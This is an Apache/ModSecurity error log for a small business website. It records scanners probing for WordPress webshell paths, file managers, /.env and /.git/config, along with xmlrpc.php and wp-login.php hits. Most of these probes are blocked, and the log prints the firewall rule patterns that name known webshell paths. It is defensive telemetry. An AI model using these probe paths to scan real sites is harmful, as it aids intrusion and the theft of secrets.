[Wed Dec 17 22:09:09.210318 2025] [:error] [pid 45530:tid 45541] [client 104.28.246.122:23310] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aUK5hW4IsXcKlf7LWf9ClAAAAAY"]
[Thu Dec 18 00:33:42.177430 2025] [:error] [pid 43493:tid 43504] [client 34.187.144.195:61665] [client 34.187.144.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.144.195, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aULbZqJPcefhPyLljLxuPAAAAAQ"]
[Thu Dec 18 00:33:42.188354 2025] [proxy_fcgi:error] [pid 43493:tid 43504] [client 34.187.144.195:61665] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 00:33:44.527005 2025] [:error] [pid 43493:tid 43514] [client 34.187.144.195:61665] [client 34.187.144.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aULbaKJPcefhPyLljLxuSwAAAA4"]
[Thu Dec 18 00:33:44.888409 2025] [:error] [pid 43495:tid 43578] [client 34.187.144.195:58946] [client 34.187.144.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aULbaJPwJsDLQYFUP-Y7rAAAANg"]
[Thu Dec 18 00:33:45.256908 2025] [:error] [pid 43493:tid 43517] [client 34.187.144.195:62522] [client 34.187.144.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aULbaaJPcefhPyLljLxuTAAAABE"]
[Thu Dec 18 00:33:45.751334 2025] [:error] [pid 43494:tid 43537] [client 34.187.144.195:62911] [client 34.187.144.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aULbaepvK2pzfvdDETptNQAAAEo"]
[Thu Dec 18 00:33:46.177582 2025] [:error] [pid 43494:tid 43542] [client 34.187.144.195:62978] [client 34.187.144.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aULbaupvK2pzfvdDETptNgAAAE8"]
[Thu Dec 18 00:33:46.549490 2025] [:error] [pid 43495:tid 43564] [client 34.187.144.195:63151] [client 34.187.144.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aULbapPwJsDLQYFUP-Y7rwAAAMo"]
[Thu Dec 18 06:48:44.569630 2025] [proxy_fcgi:error] [pid 23645:tid 23652] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:44.989634 2025] [proxy_fcgi:error] [pid 23645:tid 23657] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:45.425641 2025] [proxy_fcgi:error] [pid 23645:tid 23661] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:45.823638 2025] [proxy_fcgi:error] [pid 23645:tid 23660] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:46.274631 2025] [proxy_fcgi:error] [pid 23645:tid 23647] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:46.630033 2025] [proxy_fcgi:error] [pid 23645:tid 23662] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:47.069629 2025] [proxy_fcgi:error] [pid 23645:tid 23649] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:47.476652 2025] [proxy_fcgi:error] [pid 23645:tid 23650] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:47.827649 2025] [proxy_fcgi:error] [pid 23645:tid 23652] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:48.323628 2025] [proxy_fcgi:error] [pid 23645:tid 23670] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:49.204640 2025] [proxy_fcgi:error] [pid 23645:tid 23660] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:49.661687 2025] [proxy_fcgi:error] [pid 23645:tid 23670] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:50.113833 2025] [proxy_fcgi:error] [pid 23645:tid 23652] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:50.569610 2025] [proxy_fcgi:error] [pid 23645:tid 23660] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:51.023834 2025] [proxy_fcgi:error] [pid 23645:tid 23654] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:51.562619 2025] [proxy_fcgi:error] [pid 23645:tid 23664] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:51.563337 2025] [:error] [pid 23645:tid 23664] [client 193.37.33.230:46945] [client 193.37.33.230] ModSecurity: collection_store: Failed to access DBM file "/tmp/ip": Resource deadlock avoided [hostname "agraphics.com.au"] [uri "/file5.php"] [unique_id "aUMzUzf_Rx0Y0ao_QJiDAgAAAJE"]
[Thu Dec 18 06:48:52.123628 2025] [proxy_fcgi:error] [pid 23645:tid 23668] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:52.501486 2025] [proxy_fcgi:error] [pid 23645:tid 23667] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:48:53.076345 2025] [proxy_fcgi:error] [pid 23645:tid 23671] [client 193.37.33.230:46945] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:00.320517 2025] [:error] [pid 23645:tid 23663] [client 193.37.33.230:46945] [client 193.37.33.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUMzXDf_Rx0Y0ao_QJiD1wAAAJA"]
[Thu Dec 18 06:49:03.024224 2025] [:error] [pid 23558:tid 23615] [client 193.19.109.161:23521] [client 193.19.109.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUMzXuHam9NbgPQa9uYyjwAAAMA"]
[Thu Dec 18 06:49:05.382202 2025] [proxy_fcgi:error] [pid 23558:tid 23615] [client 193.19.109.200:43053] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:06.878904 2025] [:error] [pid 23558:tid 23618] [client 193.19.109.200:43053] [client 193.19.109.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUMzYuHam9NbgPQa9uYyvQAAAMM"]
[Thu Dec 18 06:49:08.583614 2025] [proxy_fcgi:error] [pid 23556:tid 23570] [client 193.19.109.203:30767] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:09.248760 2025] [proxy_fcgi:error] [pid 23556:tid 23573] [client 193.19.109.203:30767] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:09.872671 2025] [:error] [pid 23556:tid 23576] [client 193.19.109.203:30767] [client 193.19.109.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUMzZRnmLlk3u5yt9kEDJQAAABA"]
[Thu Dec 18 06:49:11.501621 2025] [proxy_fcgi:error] [pid 24958:tid 24974] [client 193.19.109.201:46565] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:14.507290 2025] [:error] [pid 24958:tid 24984] [client 193.19.109.201:46565] [client 193.19.109.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUMzaskDOrUkd0wNm2EE-AAAAZc"]
[Thu Dec 18 06:49:15.912632 2025] [:error] [pid 23557:tid 23596] [client 193.19.109.202:37359] [client 193.19.109.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUMzaxYcs6rFVxbdP_kwWwAAAEg"]
[Thu Dec 18 06:49:16.785562 2025] [:error] [pid 23645:tid 23658] [client 193.19.109.179:54739] [client 193.19.109.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUMzbDf_Rx0Y0ao_QJiE3AAAAIs"]
[Thu Dec 18 06:49:17.729881 2025] [:error] [pid 23556:tid 23575] [client 193.19.109.201:35389] [client 193.19.109.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUMzbRnmLlk3u5yt9kEDhQAAAA8"]
[Thu Dec 18 06:49:18.583394 2025] [:error] [pid 24958:tid 24978] [client 193.19.109.161:26797] [client 193.19.109.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUMzbskDOrUkd0wNm2EFTQAAAZE"]
[Thu Dec 18 06:49:19.512363 2025] [:error] [pid 24958:tid 24964] [client 193.19.109.164:63453] [client 193.19.109.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUMzb8kDOrUkd0wNm2EFaAAAAYM"]
[Thu Dec 18 06:49:20.621205 2025] [:error] [pid 23558:tid 23619] [client 193.19.109.175:31195] [client 193.19.109.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUMzcOHam9NbgPQa9uYzNQAAAMQ"]
[Thu Dec 18 06:49:21.376620 2025] [proxy_fcgi:error] [pid 23556:tid 23564] [client 193.19.109.203:58659] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:22.548046 2025] [:error] [pid 23556:tid 23563] [client 193.19.109.203:58659] [client 193.19.109.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aUMzchnmLlk3u5yt9kEDswAAAAM"]
[Thu Dec 18 06:49:23.309880 2025] [proxy_fcgi:error] [pid 23556:tid 23581] [client 193.19.109.182:26657] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:23.935667 2025] [proxy_fcgi:error] [pid 23556:tid 23575] [client 193.19.109.182:26657] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:24.521904 2025] [:error] [pid 23556:tid 23571] [client 193.19.109.182:26657] [client 193.19.109.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUMzdBnmLlk3u5yt9kEDygAAAAs"]
[Thu Dec 18 06:49:25.656168 2025] [:error] [pid 23558:tid 23622] [client 193.19.109.210:46307] [client 193.19.109.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUMzdeHam9NbgPQa9uYzZwAAAMc"]
[Thu Dec 18 06:49:26.688637 2025] [proxy_fcgi:error] [pid 23556:tid 23566] [client 193.19.109.172:47025] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:27.156029 2025] [:error] [pid 23556:tid 23575] [client 193.19.109.172:47025] [client 193.19.109.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUMzdxnmLlk3u5yt9kED5AAAAA8"]
[Thu Dec 18 06:49:28.107616 2025] [proxy_fcgi:error] [pid 24433:tid 24458] [client 193.19.109.207:65015] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:29.671002 2025] [proxy_fcgi:error] [pid 24433:tid 24442] [client 193.19.109.207:65015] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:30.960887 2025] [:error] [pid 24433:tid 24460] [client 193.19.109.207:65015] [client 193.19.109.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUMzep4pN9ycmipm8TgcXgAAARg"]
[Thu Dec 18 06:49:31.702023 2025] [proxy_fcgi:error] [pid 24433:tid 24439] [client 193.19.109.163:27363] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:32.085467 2025] [:error] [pid 24433:tid 24438] [client 193.19.109.163:27363] [client 193.19.109.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUMzfJ4pN9ycmipm8TgcdQAAAQI"]
[Thu Dec 18 06:49:32.884624 2025] [proxy_fcgi:error] [pid 23557:tid 23606] [client 193.19.109.191:57461] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:33.690852 2025] [:error] [pid 23557:tid 23594] [client 193.19.109.191:57461] [client 193.19.109.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUMzfRYcs6rFVxbdP_kxOgAAAEY"]
[Thu Dec 18 06:49:35.162824 2025] [:error] [pid 24958:tid 24967] [client 193.37.33.230:46327] [client 193.37.33.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUMzf8kDOrUkd0wNm2EG2wAAAYY"]
[Thu Dec 18 06:49:36.233013 2025] [proxy_fcgi:error] [pid 24542:tid 24551] [client 193.19.109.193:35487] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:36.725885 2025] [proxy_fcgi:error] [pid 24542:tid 24558] [client 193.19.109.193:35487] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 06:49:37.620360 2025] [:error] [pid 24542:tid 24562] [client 193.19.109.193:35487] [client 193.19.109.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUMzgUtQz4H2oS3NrDYRtQAAAVI"]
[Thu Dec 18 06:49:50.671264 2025] [:error] [pid 24433:tid 24458] [client 193.19.109.174:26873] [client 193.19.109.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/"] [unique_id "aUMzjp4pN9ycmipm8TgdogAAARY"]
[Thu Dec 18 06:49:53.862096 2025] [:error] [pid 24542:tid 24549] [client 193.19.109.181:35465] [client 193.19.109.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUMzkUtQz4H2oS3NrDYSpgAAAUU"]
[Thu Dec 18 13:17:35.140893 2025] [:error] [pid 24433:tid 24451] [client 164.92.216.141:50965] [client 164.92.216.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.216.141, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aUOOb54pN9ycmipm8Th_LAAAAQ8"]
[Thu Dec 18 13:17:35.151180 2025] [proxy_fcgi:error] [pid 24433:tid 24451] [client 164.92.216.141:50965] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 17:09:10.261320 2025] [:error] [pid 24433:tid 24460] [client 171.79.103.132:50770] [client 171.79.103.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.79.103.132, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUPEtp4pN9ycmipm8TiqtQAAARg"]
[Thu Dec 18 17:09:10.275335 2025] [proxy_fcgi:error] [pid 24433:tid 24460] [client 171.79.103.132:50770] AH01071: Got error 'Primary script unknown'
[Thu Dec 18 20:22:11.979527 2025] [:error] [pid 12239:tid 12256] [client 45.130.203.163:47291] [client 45.130.203.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aUPx89NnXxfGIuWO6akF7AAAAow"]
[Fri Dec 19 00:29:53.625899 2025] [:error] [pid 45739:tid 45804] [client 209.38.84.124:19440] [client 209.38.84.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aUQsAeIfOvWlLwqW0X3cRQAAAQk"]
[Fri Dec 19 00:29:53.821918 2025] [:error] [pid 65011:tid 65067] [client 209.38.84.124:19452] [client 209.38.84.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aUQsAdqlBhOfWMNHM-60JwAAAVY"]
[Fri Dec 19 01:10:09.750392 2025] [:error] [pid 45825:tid 45844] [client 170.64.129.112:56910] [client 170.64.129.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aUQ1cdES1ifyzuzFwz8WagAAAFE"]
[Fri Dec 19 01:10:11.886811 2025] [:error] [pid 65011:tid 65057] [client 170.64.129.112:56924] [client 170.64.129.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aUQ1c9qlBhOfWMNHM-6_pQAAAUw"]
[Fri Dec 19 07:08:46.127509 2025] [:error] [pid 61921:tid 61932] [client 170.64.129.112:50152] [client 170.64.129.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aUSJfiI5bruBgrPWiCDUwwAAAAc"]
[Fri Dec 19 07:08:47.388066 2025] [:error] [pid 62008:tid 62016] [client 170.64.129.112:50156] [client 170.64.129.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aUSJf5JCOG7NAlbm_OSISgAAAMU"]
[Fri Dec 19 15:29:00.739137 2025] [:error] [pid 20580:tid 20587] [client 115.85.67.218:57947] [client 115.85.67.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.85.67.218, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUT-vEmd1op_YdAdgR05-AAAAEE"]
[Fri Dec 19 15:29:00.751032 2025] [proxy_fcgi:error] [pid 20580:tid 20587] [client 115.85.67.218:57947] AH01071: Got error 'Primary script unknown'
[Fri Dec 19 15:29:03.111260 2025] [:error] [pid 20582:tid 20651] [client 223.237.186.108:33325] [client 223.237.186.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.237.186.108, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUT-v8pAnrkQKZ4b5gbULAAAAMk"]
[Fri Dec 19 15:29:03.118898 2025] [proxy_fcgi:error] [pid 20582:tid 20651] [client 223.237.186.108:33325] AH01071: Got error 'Primary script unknown'
